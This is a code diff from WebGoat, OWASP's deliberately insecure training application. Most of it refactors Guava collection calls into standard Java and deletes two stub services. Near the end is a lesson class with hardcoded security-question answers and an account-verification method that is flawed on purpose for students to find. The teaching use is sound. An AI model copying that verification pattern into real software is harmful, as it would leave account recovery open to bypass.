import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
@ -39,9 +39,7 @@ import org.springframework.web.bind.annotation.PutMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.*;
|
||||
|
||||
import static java.util.stream.Collectors.groupingBy;
|
||||
import static java.util.stream.Collectors.toList;
|
||||
@ -70,7 +68,7 @@ public class CourseConfiguration {
|
||||
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
|
||||
if (CollectionUtils.isEmpty(endpoints)) {
|
||||
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
|
||||
return Lists.newArrayList();
|
||||
return new ArrayList();
|
||||
}
|
||||
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
|
||||
}
|
||||
@ -110,8 +108,8 @@ public class CourseConfiguration {
|
||||
|
||||
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
|
||||
if (e.isAnnotationPresent(AssignmentHints.class)) {
|
||||
return Lists.newArrayList(e.getAnnotationsByType(AssignmentHints.class)[0].value());
|
||||
return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
|
||||
}
|
||||
return Lists.newArrayList();
|
||||
return Collections.emptyList();
|
||||
}
|
||||
}
|
||||
|
@ -1,63 +0,0 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* <p>CookieService class.</p>
|
||||
*
|
||||
* @author rlawson
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
@Controller
|
||||
public class CookieService {
|
||||
|
||||
/**
|
||||
* Returns cookies for last attack
|
||||
*
|
||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
@RequestMapping(path = "/service/cookie.mvc", produces = "application/json")
|
||||
public @ResponseBody
|
||||
List<Cookie> showCookies() {
|
||||
//// TODO: 11/6/2016 to be decided
|
||||
List<Cookie> cookies = Lists.newArrayList();
|
||||
return cookies;
|
||||
}
|
||||
}
|
@ -3,6 +3,7 @@
|
||||
* To change this template file, choose Tools | Templates
|
||||
* and open the template in the editor.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
|
@ -1,32 +1,32 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
|
@ -26,6 +26,7 @@
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
@ -67,21 +68,20 @@ public class LabelService {
|
||||
* We use Springs session locale resolver which also gives us the option to change the local later on. For
|
||||
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
|
||||
* to messages.properties.
|
||||
*
|
||||
* <p>
|
||||
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
|
||||
* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
|
||||
* and every request to see if the language param has been set in the request.
|
||||
*
|
||||
* @param lang the language to fetch labels for (optional)
|
||||
* @return a map of labels
|
||||
* @throws Exception
|
||||
*/
|
||||
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang, HttpServletRequest request) {
|
||||
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
|
||||
if (!StringUtils.isEmpty(lang)) {
|
||||
Locale locale = Locale.forLanguageTag(lang);
|
||||
((SessionLocaleResolver)localeResolver).setDefaultLocale(locale);
|
||||
((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
|
||||
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
|
||||
}
|
||||
Properties allProperties = new Properties();
|
||||
|
@ -26,6 +26,7 @@
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
@ -101,14 +102,6 @@ public class LessonMenuService {
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* This determines if the lesson is complete based on data in the database
|
||||
* and the list of assignments actually linked to the existing current lesson.
|
||||
* This way older removed assignments will not prevent a lesson from being completed.
|
||||
* @param map
|
||||
* @param currentLesson
|
||||
* @return
|
||||
*/
|
||||
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||
boolean result = true;
|
||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||
|
@ -27,6 +27,7 @@
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
@ -1,7 +1,5 @@
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
@ -16,6 +14,7 @@ import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@ -40,14 +39,14 @@ public class LessonProgressService {
|
||||
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
||||
@ResponseBody
|
||||
public Map getLessonInfo() {
|
||||
Map json = Maps.newHashMap();
|
||||
Map json = new HashMap();
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
if (webSession.getCurrentLesson() != null) {
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
||||
String successMessage = "";
|
||||
boolean lessonCompleted = false;
|
||||
if (lessonTracker != null) {
|
||||
lessonCompleted = lessonCompleted(lessonTracker.getLessonOverview(),webSession.getCurrentLesson());
|
||||
lessonCompleted = isLessonComplete(lessonTracker.getLessonOverview(), webSession.getCurrentLesson());
|
||||
successMessage = "LessonCompleted"; //@todo we still use this??
|
||||
}
|
||||
json.put("lessonCompleted", lessonCompleted);
|
||||
@ -67,8 +66,8 @@ public class LessonProgressService {
|
||||
public List<LessonOverview> lessonOverview() {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
Lesson currentLesson = webSession.getCurrentLesson();
|
||||
List<LessonOverview> result = Lists.newArrayList();
|
||||
if ( currentLesson != null ) {
|
||||
List<LessonOverview> result = new ArrayList<>();
|
||||
if (currentLesson != null) {
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(currentLesson);
|
||||
result = toJson(lessonTracker.getLessonOverview(), currentLesson);
|
||||
}
|
||||
@ -79,7 +78,7 @@ public class LessonProgressService {
|
||||
List<LessonOverview> result = new ArrayList();
|
||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||
Assignment storedAssignment = entry.getKey();
|
||||
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
|
||||
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
|
||||
if (lessonAssignment.getName().equals(storedAssignment.getName())
|
||||
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
|
||||
//here a stored path in the assignments table will be corrected for the JSON output
|
||||
@ -99,18 +98,11 @@ public class LessonProgressService {
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the lesson completed based on Assignment data from the database
|
||||
* while ignoring assignments no longer in the application.
|
||||
* @param map
|
||||
* @param currentLesson
|
||||
* @return
|
||||
*/
|
||||
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||
private boolean isLessonComplete(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||
boolean result = true;
|
||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||
Assignment storedAssignment = entry.getKey();
|
||||
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
|
||||
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
|
||||
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
||||
result = result && entry.getValue();
|
||||
break;
|
||||
|
@ -1,65 +0,0 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.lessons.RequestParameter;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* <p>ParameterService class.</p>
|
||||
*
|
||||
* @author rlawson
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
@Controller
|
||||
public class ParameterService {
|
||||
|
||||
/**
|
||||
* Returns request parameters for last attack
|
||||
*
|
||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
@RequestMapping(path = "/service/parameter.mvc", produces = "application/json")
|
||||
public @ResponseBody
|
||||
List<RequestParameter> showParameters(HttpSession session) {
|
||||
//// TODO: 11/6/2016 to decide not sure about the role in WebGoat 8
|
||||
List<RequestParameter> listParms = Lists.newArrayList();
|
||||
Collections.sort(listParms);
|
||||
return listParms;
|
||||
}
|
||||
}
|
@ -1,32 +1,32 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.springframework.http.HttpStatus;
|
||||
@ -46,6 +46,7 @@ import java.util.Map;
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
//TODO REMOVE?
|
||||
@Controller
|
||||
public class PluginReloadService {
|
||||
|
||||
@ -58,15 +59,6 @@ public class PluginReloadService {
|
||||
@RequestMapping(path = "/service/reloadplugins.mvc", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
public @ResponseBody
|
||||
ResponseEntity<Map<String, Object>> reloadPlugins(HttpSession session) {
|
||||
// WebSession webSession = (WebSession) session.getAttribute(WebSession.SESSION);
|
||||
//
|
||||
// logger.debug("Loading plugins into cache");
|
||||
// String pluginPath = session.getServletContext().getRealPath("plugin_lessons");
|
||||
// String targetPath = session.getServletContext().getRealPath("plugin_extracted");
|
||||
// //TODO fix me
|
||||
// //new PluginsLoader(Paths.get(pluginPath), Paths.get(targetPath)).copyJars();
|
||||
// //webSession.getCourse().createLessonsFromPlugins();
|
||||
|
||||
Map<String, Object> result = new HashMap<String, Object>();
|
||||
result.put("success", true);
|
||||
result.put("message", "Plugins reloaded");
|
||||
|
@ -26,9 +26,9 @@
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
@ -43,6 +43,7 @@ import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
@ -66,14 +67,14 @@ public class ReportCardService {
|
||||
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
||||
@ResponseBody
|
||||
public ReportCard reportCard() {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
var lessons = course.getLessons();
|
||||
ReportCard reportCard = new ReportCard();
|
||||
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
||||
reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
|
||||
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
|
||||
reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
|
||||
for (Lesson lesson : lessons) {
|
||||
for (Lesson lesson : course.getLessons()) {
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
||||
LessonStatistics lessonStatistics = new LessonStatistics();
|
||||
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
|
||||
@ -93,7 +94,7 @@ public class ReportCardService {
|
||||
private int solvedLessons;
|
||||
private int numberOfAssignmentsSolved;
|
||||
private int numberOfLessonsSolved;
|
||||
private List<LessonStatistics> lessonStatistics = Lists.newArrayList();
|
||||
private List<LessonStatistics> lessonStatistics = new ArrayList<>();
|
||||
}
|
||||
|
||||
@Setter
|
||||
|
@ -21,6 +21,7 @@
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
|
@ -3,6 +3,7 @@
|
||||
* To change this template file, choose Tools | Templates
|
||||
* and open the template in the editor.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
|
@ -1,16 +1,12 @@
|
||||
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import com.google.common.collect.Sets;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
|
||||
import javax.persistence.*;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
|
||||
@ -53,9 +49,9 @@ public class LessonTracker {
|
||||
@Getter
|
||||
private String lessonName;
|
||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
||||
private final Set<Assignment> solvedAssignments = new HashSet<>();
|
||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||
private final Set<Assignment> allAssignments = Sets.newHashSet();
|
||||
private final Set<Assignment> allAssignments = new HashSet<>();
|
||||
@Getter
|
||||
private int numberOfAttempts = 0;
|
||||
|
||||
|
@ -10,6 +10,7 @@ import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.validation.Valid;
|
||||
|
||||
@ -32,8 +33,7 @@ public class RegistrationController {
|
||||
}
|
||||
|
||||
@PostMapping("/register.mvc")
|
||||
@SneakyThrows
|
||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
|
||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
|
||||
userValidator.validate(userForm, bindingResult);
|
||||
|
||||
if (bindingResult.hasErrors()) {
|
||||
|
@ -1,6 +1,5 @@
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
@ -8,6 +7,7 @@ import org.owasp.webgoat.session.Course;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
@ -36,7 +36,7 @@ public class Scoreboard {
|
||||
@GetMapping("/scoreboard-data")
|
||||
public List<Ranking> getRankings() {
|
||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
||||
List<Ranking> rankings = Lists.newArrayList();
|
||||
List<Ranking> rankings = new ArrayList<>();
|
||||
for (WebGoatUser user : allUsers) {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
||||
@ -45,7 +45,7 @@ public class Scoreboard {
|
||||
}
|
||||
|
||||
private List<String> challengesSolved(UserTracker userTracker) {
|
||||
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||
List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||
return challenges.stream()
|
||||
.map(c -> userTracker.getLessonTracker(c))
|
||||
.filter(l -> l.isPresent()).map(l -> l.get())
|
||||
|
@ -16,14 +16,14 @@ import javax.validation.constraints.Size;
|
||||
public class UserForm {
|
||||
|
||||
@NotNull
|
||||
@Size(min=6, max=45)
|
||||
@Size(min = 6, max = 45)
|
||||
@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
|
||||
private String username;
|
||||
@NotNull
|
||||
@Size(min=6, max=10)
|
||||
@Size(min = 6, max = 10)
|
||||
private String password;
|
||||
@NotNull
|
||||
@Size(min=6, max=10)
|
||||
@Size(min = 6, max = 10)
|
||||
private String matchingPassword;
|
||||
@NotNull
|
||||
private String agree;
|
||||
|
@ -44,14 +44,14 @@ public class UserService implements UserDetailsService {
|
||||
//get user if there exists one by the name
|
||||
WebGoatUser webGoatUser = userRepository.findByUsername(username);
|
||||
//if user exists it will be updated, otherwise created
|
||||
userRepository.save(new WebGoatUser(username,password,role));
|
||||
userRepository.save(new WebGoatUser(username, password, role));
|
||||
//if user previously existed it will not get another tracker
|
||||
if (webGoatUser == null) {
|
||||
userTrackerRepository.save(new UserTracker(username));
|
||||
}
|
||||
}
|
||||
|
||||
public List<WebGoatUser> getAllUsers () {
|
||||
public List<WebGoatUser> getAllUsers() {
|
||||
return userRepository.findAll();
|
||||
}
|
||||
|
||||
|
@ -1,12 +1,12 @@
|
||||
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import com.google.common.collect.Sets;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
|
||||
import javax.persistence.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.Set;
|
||||
@ -53,7 +53,7 @@ public class UserTracker {
|
||||
@Column(name = "username")
|
||||
private String user;
|
||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
|
||||
private Set<LessonTracker> lessonTrackers = new HashSet<>();
|
||||
|
||||
private UserTracker() {}
|
||||
|
||||
|
@ -16,8 +16,8 @@ public class UserValidator implements Validator {
|
||||
private final UserRepository userRepository;
|
||||
|
||||
@Override
|
||||
public boolean supports(Class<?> aClass) {
|
||||
return UserForm.class.equals(aClass);
|
||||
public boolean supports(Class<?> clazz) {
|
||||
return UserForm.class.equals(clazz);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -1,9 +1,8 @@
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.junit.Test;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.users.LessonTracker;
|
||||
|
||||
import java.util.List;
|
||||
@ -48,7 +47,7 @@ public class LessonTrackerTest {
|
||||
@Test
|
||||
public void allAssignmentsSolvedShouldMarkLessonAsComplete() {
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(new Assignment("assignment", "assignment", List.of(""))));
|
||||
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("assignment");
|
||||
|
||||
@ -60,7 +59,7 @@ public class LessonTrackerTest {
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
Assignment a1 = new Assignment("a1");
|
||||
Assignment a2 = new Assignment("a2");
|
||||
List<Assignment> assignments = Lists.newArrayList(a1, a2);
|
||||
List<Assignment> assignments = List.of(a1, a2);
|
||||
when(lesson.getAssignments()).thenReturn(assignments);
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
@ -74,7 +73,7 @@ public class LessonTrackerTest {
|
||||
public void solvingSameAssignmentShouldNotAddItTwice() {
|
||||
Lesson lesson = mock(Lesson.class);
|
||||
Assignment a1 = new Assignment("a1");
|
||||
List<Assignment> assignments = Lists.newArrayList(a1);
|
||||
List<Assignment> assignments = List.of(a1);
|
||||
when(lesson.getAssignments()).thenReturn(assignments);
|
||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||
lessonTracker.assignmentSolved("a1");
|
||||
|
@ -6,7 +6,7 @@ import org.mockito.Mock;
|
||||
import org.mockito.junit.MockitoJUnitRunner;
|
||||
import org.springframework.security.core.userdetails.UsernameNotFoundException;
|
||||
|
||||
import static org.mockito.Matchers.any;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
@RunWith(MockitoJUnitRunner.class)
|
||||
|
@ -32,28 +32,30 @@ public class AccountVerificationHelper {
|
||||
|
||||
//simulating database storage of verification credentials
|
||||
private static final Integer verifyUserId = 1223445;
|
||||
private static final Map<String,String> userSecQuestions = new HashMap<>();
|
||||
private static final Map<String, String> userSecQuestions = new HashMap<>();
|
||||
|
||||
static {
|
||||
userSecQuestions.put("secQuestion0","Dr. Watson");
|
||||
userSecQuestions.put("secQuestion1","Baker Street");
|
||||
userSecQuestions.put("secQuestion0", "Dr. Watson");
|
||||
userSecQuestions.put("secQuestion1", "Baker Street");
|
||||
}
|
||||
|
||||
private static final Map<Integer,Map> secQuestionStore = new HashMap<>();
|
||||
private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
|
||||
|
||||
static {
|
||||
secQuestionStore.put(verifyUserId,userSecQuestions);
|
||||
secQuestionStore.put(verifyUserId, userSecQuestions);
|
||||
}
|
||||
// end 'data store set up'
|
||||
|
||||
// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
|
||||
public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
|
||||
public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
|
||||
boolean likely = false;
|
||||
|
||||
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
|
||||
likely = true;
|
||||
}
|
||||
|
||||
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
|
||||
(submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
|
||||
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
|
||||
&& (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
|
||||
likely = true;
|
||||
} else {
|
||||
likely = false;
|
||||
@ -64,7 +66,7 @@ public class AccountVerificationHelper {
|
||||
}
|
||||
//end of cheating check ... the method below is the one of real interest. Can you find the flaw?
|
||||
|
||||
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
|
||||
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
|
||||
//short circuit if no questions are submitted
|
||||
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
|
||||
return false;
|
||||
|
@ -68,7 +68,7 @@ public class VerifyAccount extends AssignmentEndpoint {
|
||||
}
|
||||
|
||||
// else
|
||||
if (verificationHelper.verifyAccount(new Integer(userId), (HashMap) submittedAnswers)) {
|
||||
